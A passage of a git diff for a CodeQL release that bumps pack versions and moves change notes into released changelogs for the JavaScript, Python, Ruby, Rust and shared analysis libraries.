2.6.3 ### Minor Analysis Improvements diff --git a/javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md b/javascript/ql/lib/change-notes/released/2.6.4.md similarity index 73% rename from javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md rename to javascript/ql/lib/change-notes/released/2.6.4.md index 2303d3d8c62..90658374635 100644 --- a/javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md +++ b/javascript/ql/lib/change-notes/released/2.6.4.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 2.6.4 + +### Minor Analysis Improvements + * Improved analysis for `ES6 classes` mixed with `function prototypes`, leading to more accurate call graph resolution. diff --git a/javascript/ql/lib/codeql-pack.release.yml b/javascript/ql/lib/codeql-pack.release.yml index e2457adb03c..ac755647695 100644 --- a/javascript/ql/lib/codeql-pack.release.yml +++ b/javascript/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.6.3 +lastReleaseVersion: 2.6.4 diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index 87fb92c5baf..d28403132c4 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.4-dev +version: 2.6.4 groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/CHANGELOG.md b/javascript/ql/src/CHANGELOG.md index bd5cb345793..95b3d48ac2f 100644 --- a/javascript/ql/src/CHANGELOG.md +++ b/javascript/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.6.1 + +### Minor Analysis Improvements + +* The queries `js/hardcoded-credentials` and `js/password-in-configuration-file` have been removed from all query suites. + ## 1.6.0 ### Query Metadata Changes diff --git a/javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/javascript/ql/src/change-notes/released/1.6.1.md similarity index 73% rename from javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to javascript/ql/src/change-notes/released/1.6.1.md index 99af2e2c448..b66009e765f 100644 --- a/javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/javascript/ql/src/change-notes/released/1.6.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.6.1 + +### Minor Analysis Improvements + * The queries `js/hardcoded-credentials` and `js/password-in-configuration-file` have been removed from all query suites. diff --git a/javascript/ql/src/codeql-pack.release.yml b/javascript/ql/src/codeql-pack.release.yml index c4f0b07d533..ef7a789e0cf 100644 --- a/javascript/ql/src/codeql-pack.release.yml +++ b/javascript/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.6.0 +lastReleaseVersion: 1.6.1 diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 515ea8a3abd..986f2be84e6 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.1-dev +version: 1.6.1 groups: - javascript - queries diff --git a/misc/suite-helpers/CHANGELOG.md b/misc/suite-helpers/CHANGELOG.md index d65ced8b4c7..1959582a171 100644 --- a/misc/suite-helpers/CHANGELOG.md +++ b/misc/suite-helpers/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/misc/suite-helpers/change-notes/released/1.0.24.md b/misc/suite-helpers/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/misc/suite-helpers/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/misc/suite-helpers/codeql-pack.release.yml b/misc/suite-helpers/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/misc/suite-helpers/codeql-pack.release.yml +++ b/misc/suite-helpers/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index fa44a270665..e19aa4923af 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.24-dev +version: 1.0.24 groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/CHANGELOG.md b/python/ql/lib/CHANGELOG.md index 33813cf94e4..36d7cdbcc2f 100644 --- a/python/ql/lib/CHANGELOG.md +++ b/python/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 4.0.8 + +### Minor Analysis Improvements + +- The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add `paths-ignore: ["**/.*/**"]` to your [Code Scanning config](https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). If you would like to skip all hidden files, you can use `paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the `--codescanning-config` option. + ## 4.0.7 ### Minor Analysis Improvements diff --git a/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md b/python/ql/lib/change-notes/released/4.0.8.md similarity index 93% rename from python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md rename to python/ql/lib/change-notes/released/4.0.8.md index fcbb0a209ce..a87623b25b5 100644 --- a/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md +++ b/python/ql/lib/change-notes/released/4.0.8.md @@ -1,5 +1,5 @@ ---- -category: minorAnalysis ---- +## 4.0.8 + +### Minor Analysis Improvements - The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add `paths-ignore: ["**/.*/**"]` to your [Code Scanning config](https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). If you would like to skip all hidden files, you can use `paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the `--codescanning-config` option. diff --git a/python/ql/lib/codeql-pack.release.yml b/python/ql/lib/codeql-pack.release.yml index bf65f0dc10b..36a2330377d 100644 --- a/python/ql/lib/codeql-pack.release.yml +++ b/python/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.0.7 +lastReleaseVersion: 4.0.8 diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index c98ee1e15d4..e328f386c56 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.8-dev +version: 4.0.8 groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/CHANGELOG.md b/python/ql/src/CHANGELOG.md index c449304f0da..a65d9f84641 100644 --- a/python/ql/src/CHANGELOG.md +++ b/python/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.5.1 + +### Minor Analysis Improvements + +* The query `py/hardcoded-credentials` has been removed from all query suites. + ## 1.5.0 ### Query Metadata Changes diff --git a/python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/python/ql/src/change-notes/released/1.5.1.md similarity index 64% rename from python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to python/ql/src/change-notes/released/1.5.1.md index ee550ce449b..3b04255f33a 100644 --- a/python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/python/ql/src/change-notes/released/1.5.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.5.1 + +### Minor Analysis Improvements + * The query `py/hardcoded-credentials` has been removed from all query suites. diff --git a/python/ql/src/codeql-pack.release.yml b/python/ql/src/codeql-pack.release.yml index 639f80c4341..c5775c46013 100644 --- a/python/ql/src/codeql-pack.release.yml +++ b/python/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.0 +lastReleaseVersion: 1.5.1 diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index 6e181439ee0..d29907ecbe8 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.1-dev +version: 1.5.1 groups: - python - queries diff --git a/ruby/ql/lib/CHANGELOG.md b/ruby/ql/lib/CHANGELOG.md index 4d3dfc9c436..f637009e8a1 100644 --- a/ruby/ql/lib/CHANGELOG.md +++ b/ruby/ql/lib/CHANGELOG.md @@ -1,3 +1,15 @@ +## 4.1.7 + +### Minor Analysis Improvements + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +### Bug Fixes + +### Bug Fixes + +* The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. + ## 4.1.6 No user-facing changes. diff --git a/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md b/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md deleted file mode 100644 index 3a0878e6553..00000000000 --- a/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. \ No newline at end of file diff --git a/ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md b/ruby/ql/lib/change-notes/released/4.1.7.md similarity index 68% rename from ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md rename to ruby/ql/lib/change-notes/released/4.1.7.md index b71b60c22b3..00625c5c5d8 100644 --- a/ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md +++ b/ruby/ql/lib/change-notes/released/4.1.7.md @@ -1,6 +1,11 @@ ---- -category: fix ---- +## 4.1.7 + +### Minor Analysis Improvements + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +### Bug Fixes + ### Bug Fixes * The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. diff --git a/ruby/ql/lib/codeql-pack.release.yml b/ruby/ql/lib/codeql-pack.release.yml index 8b32e3bae01..6a89491cdb8 100644 --- a/ruby/ql/lib/codeql-pack.release.yml +++ b/ruby/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.1.6 +lastReleaseVersion: 4.1.7 diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index 2548f8c1074..a13854cf27a 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.7-dev +version: 4.1.7 groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/CHANGELOG.md b/ruby/ql/src/CHANGELOG.md index 0a3ce10b979..3bf0a2d6312 100644 --- a/ruby/ql/src/CHANGELOG.md +++ b/ruby/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.3.1 + +### Minor Analysis Improvements + +* The query `rb/hardcoded-credentials` has been removed from all query suites. + ## 1.3.0 ### Query Metadata Changes diff --git a/ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/ruby/ql/src/change-notes/released/1.3.1.md similarity index 64% rename from ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to ruby/ql/src/change-notes/released/1.3.1.md index 684b1b3ea78..8d892f72ed0 100644 --- a/ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/ruby/ql/src/change-notes/released/1.3.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.3.1 + +### Minor Analysis Improvements + * The query `rb/hardcoded-credentials` has been removed from all query suites. diff --git a/ruby/ql/src/codeql-pack.release.yml b/ruby/ql/src/codeql-pack.release.yml index ec16350ed6f..e71b6d081f1 100644 --- a/ruby/ql/src/codeql-pack.release.yml +++ b/ruby/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.3.0 +lastReleaseVersion: 1.3.1 diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index ed987a47454..7247e94124a 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.1-dev +version: 1.3.1 groups: - ruby - queries diff --git a/rust/ql/lib/CHANGELOG.md b/rust/ql/lib/CHANGELOG.md index 3000a1098cc..f37d7ac4bae 100644 --- a/rust/ql/lib/CHANGELOG.md +++ b/rust/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.1.9 + +No user-facing changes. + ## 0.1.8 No user-facing changes. diff --git a/rust/ql/lib/change-notes/released/0.1.9.md b/rust/ql/lib/change-notes/released/0.1.9.md new file mode 100644 index 00000000000..e93006d794f --- /dev/null +++ b/rust/ql/lib/change-notes/released/0.1.9.md @@ -0,0 +1,3 @@ +## 0.1.9 + +No user-facing changes. diff --git a/rust/ql/lib/codeql-pack.release.yml b/rust/ql/lib/codeql-pack.release.yml index 3136ea4a1cc..1425c0edf7f 100644 --- a/rust/ql/lib/codeql-pack.release.yml +++ b/rust/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.8 +lastReleaseVersion: 0.1.9 diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index ce213d8ebba..17dea235850 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.9-dev +version: 0.1.9 groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/CHANGELOG.md b/rust/ql/src/CHANGELOG.md index a7c23fbfd30..8b870ea5f99 100644 --- a/rust/ql/src/CHANGELOG.md +++ b/rust/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.1.9 + +No user-facing changes. + ## 0.1.8 No user-facing changes. diff --git a/rust/ql/src/change-notes/released/0.1.9.md b/rust/ql/src/change-notes/released/0.1.9.md new file mode 100644 index 00000000000..e93006d794f --- /dev/null +++ b/rust/ql/src/change-notes/released/0.1.9.md @@ -0,0 +1,3 @@ +## 0.1.9 + +No user-facing changes. diff --git a/rust/ql/src/codeql-pack.release.yml b/rust/ql/src/codeql-pack.release.yml index 3136ea4a1cc..1425c0edf7f 100644 --- a/rust/ql/src/codeql-pack.release.yml +++ b/rust/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.8 +lastReleaseVersion: 0.1.9 diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index 3ce216f0a2d..ddd0cee92d5 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.9-dev +version: 0.1.9 groups: - rust - queries diff --git a/shared/controlflow/CHANGELOG.md b/shared/controlflow/CHANGELOG.md index 1aab9a2eeba..8748a58b0c4 100644 --- a/shared/controlflow/CHANGELOG.md +++ b/shared/controlflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/controlflow/change-notes/released/2.0.8.md b/shared/controlflow/change-notes/released/2.0.8.md new file mode 100644 index 00000000000..4d6867c721b --- /dev/null +++ b/shared/controlflow/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/controlflow/codeql-pack.release.yml b/shared/controlflow/codeql-pack.release.yml index 08d5e959449..7ffb2d9f65b 100644 --- a/shared/controlflow/codeql-pack.release.yml +++ b/shared/controlflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.8 diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index 83f9b6f67a4..ea02e74b8d4 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.8-dev +version: 2.0.8 groups: shared library: true dependencies: diff --git a/shared/dataflow/CHANGELOG.md b/shared/dataflow/CHANGELOG.md index 36d289f7f04..2fe45acb03c 100644 --- a/shared/dataflow/CHANGELOG.md +++ b/shared/dataflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/dataflow/change-notes/released/2.0.8.md b/shared/dataflow/change-notes/released/2.0.8.md new file mode 100644 index 00000000000..4d6867c721b --- /dev/null +++ b/shared/dataflow/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/dataflow/codeql-pack.release.yml b/shared/dataflow/codeql-pack.release.yml index 08d5e959449..7ffb2d9f65b 100644 --- a/shared/dataflow/codeql-pack.release.yml +++ b/shared/dataflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.8 diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 3c70d1d8c2d..9fa1e52fdb3 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.8-dev +version: 2.0.8 groups: shared library: true dependencies: diff --git a/shared/mad/CHANGELOG.md b/shared/mad/CHANGELOG.md index 5efa3ce9aec..3c432d1383f 100644 --- a/shared/mad/CHANGELOG.md +++ b/shared/mad/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/mad/change-notes/released/1.0.24.md b/shared/mad/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/mad/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/mad/codeql-pack.release.yml b/shared/mad/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/mad/codeql-pack.release.yml +++ b/shared/mad/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index 8cbab3cbcd6..c06bf28103e 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/quantum/CHANGELOG.md b/shared/quantum/CHANGELOG.md index 59b60bad0f3..7668a5ba39d 100644 --- a/shared/quantum/CHANGELOG.md +++ b/shared/quantum/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.0.2 + +No user-facing changes. + ## 0.0.1 No user-facing changes. diff --git a/shared/quantum/change-notes/released/0.0.2.md b/shared/quantum/change-notes/released/0.0.2.md new file mode 100644 index 00000000000..5ab250998ed --- /dev/null +++ b/shared/quantum/change-notes/released/0.0.2.md @@ -0,0 +1,3 @@ +## 0.0.2 + +No user-facing changes. diff --git a/shared/quantum/codeql-pack.release.yml b/shared/quantum/codeql-pack.release.yml index c6933410b71..55dc06fbd76 100644 --- a/shared/quantum/codeql-pack.release.yml +++ b/shared/quantum/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.1 +lastReleaseVersion: 0.0.2 diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index 4abda024832..e8f696ad279 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.2-dev +version: 0.0.2 groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/CHANGELOG.md b/shared/rangeanalysis/CHANGELOG.md index 75bb80c6db7..5716e332920 100644 --- a/shared/rangeanalysis/CHANGELOG.md +++ b/shared/rangeanalysis/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/rangeanalysis/change-notes/released/1.0.24.md b/shared/rangeanalysis/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/rangeanalysis/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/rangeanalysis/codeql-pack.release.yml b/shared/rangeanalysis/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/rangeanalysis/codeql-pack.release.yml +++ b/shared/rangeanalysis/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index d551bb79db4..b9165e57d30 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/regex/CHANGELOG.md b/shared/regex/CHANGELOG.md index 59bbd8cf93b..36cbdcef2ab 100644 --- a/shared/regex/CHANGELOG.md +++ b/shared/regex/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/regex/change-notes/released/1.0.24.md b/shared/regex/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/regex/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/regex/codeql-pack.release.yml b/shared/regex/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/regex/codeql-pack.release.yml +++ b/shared/regex/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index 41c9b1ba043..84c4b249f57 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/ssa/CHANGELOG.md b/shared/ssa/CHANGELOG.md index 509445eb6b1..85891c54761 100644 --- a/shared/ssa/CHANGELOG.md +++ b/shared/ssa/CHANGELOG.md @@ -1,3 +1,9 @@ +## 2.0.0 + +### Breaking Changes + +* Adjusted the Guards interface in the SSA data flow integration to distinguish `hasBranchEdge` from `controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. + ## 1.1.2 No user-facing changes. diff --git a/shared/ssa/change-notes/2025-05-23-guards-interface.md b/shared/ssa/change-notes/released/2.0.0.md similarity index 87% rename from shared/ssa/change-notes/2025-05-23-guards-interface.md rename to shared/ssa/change-notes/released/2.0.0.md index cc8d76372f6..39ac6d68707 100644 --- a/shared/ssa/change-notes/2025-05-23-guards-interface.md +++ b/shared/ssa/change-notes/released/2.0.0.md @@ -1,4 +1,5 @@ ---- -category: breaking ---- +## 2.0.0 + +### Breaking Changes + * Adjusted the Guards interface in the SSA data flow integration to distinguish `hasBranchEdge` from `controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. diff --git a/shared/ssa/codeql-pack.release.yml b/shared/ssa/codeql-pack.release.yml index 53ab127707f..0abe6ccede0 100644 --- a/shared/ssa/codeql-pack.release.yml +++ b/shared/ssa/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.2 +lastReleaseVersion: 2.0.0 diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index fe5fa023a96..03bab1e1650 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 1.1.3-dev +version: 2.0.0 groups: shared library: true dependencies: diff --git a/shared/threat-models/CHANGELOG.md b/shared/threat-models/CHANGELOG.md index c3254e1caad..a684ef060a5 100644 --- a/shared/threat-models/CHANGELOG.md +++ b/shared/threat-models/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/threat-models/change-notes/released/1.0.24.md b/shared/threat-models/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/threat-models/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/threat-models/codeql-pack.release.yml b/shared/threat-models/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/threat-models/codeql-pack.release.yml +++ b/shared/threat-models/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index a86c29ceba3..328719e2a0d 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.24-dev +version: 1.0.24 library: true groups: shared dataExtensions: diff --git a/shared/tutorial/CHANGELOG.md b/shared/tutorial/CHANGELOG.md index 247d9be86a5..b0f9b01001b 100644 --- a/shared/tutorial/CHANGELOG.md +++ b/shared/tutorial/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/tutorial/change-notes/released/1.0.24.md b/shared/tutorial/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/tutorial/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/tutorial/codeql-pack.release.yml b/shared/tutorial/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/tutorial/codeql-pack.release.yml +++ b/shared/tutorial/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index a0aa1a8b3ae..b9b63085e1f 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/CHANGELOG.md b/shared/typeflow/CHANGELOG.md index cad6ded5224..7f8c43e4544 100644 --- a/shared/typeflow/CHANGELOG.md +++ b/shared/typeflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/typeflow/change-notes/released/1.0.24.md b/shared/typeflow/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/typeflow/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/typeflow/codeql-pack.release.yml b/shared/typeflow/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/typeflow/codeql-pack.release.yml +++ b/shared/typeflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index 123e7a98891..5b91c29a4de 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/typeinference/CHANGELOG.md b/shared/typeinference/CHANGELOG.md index 4ffbff1e0c4..9b269441c00 100644 --- a/shared/typeinference/CHANGELOG.md +++ b/shared/typeinference/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.0.5 + +No user-facing changes. + ## 0.0.4 No user-facing changes. diff --git a/shared/typeinference/change-notes/released/0.0.5.md b/shared/typeinference/change-notes/released/0.0.5.md new file mode 100644 index 00000000000..766ec2723b5 --- /dev/null +++ b/shared/typeinference/change-notes/released/0.0.5.md @@ -0,0 +1,3 @@ +## 0.0.5 + +No user-facing changes. diff --git a/shared/typeinference/codeql-pack.release.yml b/shared/typeinference/codeql-pack.release.yml index ec411a674bc..bb45a1ab018 100644 --- a/shared/typeinference/codeql-pack.release.yml +++ b/shared/typeinference/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.4 +lastReleaseVersion: 0.0.5 diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index bbfe2ad6615..93bbac0b367 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ 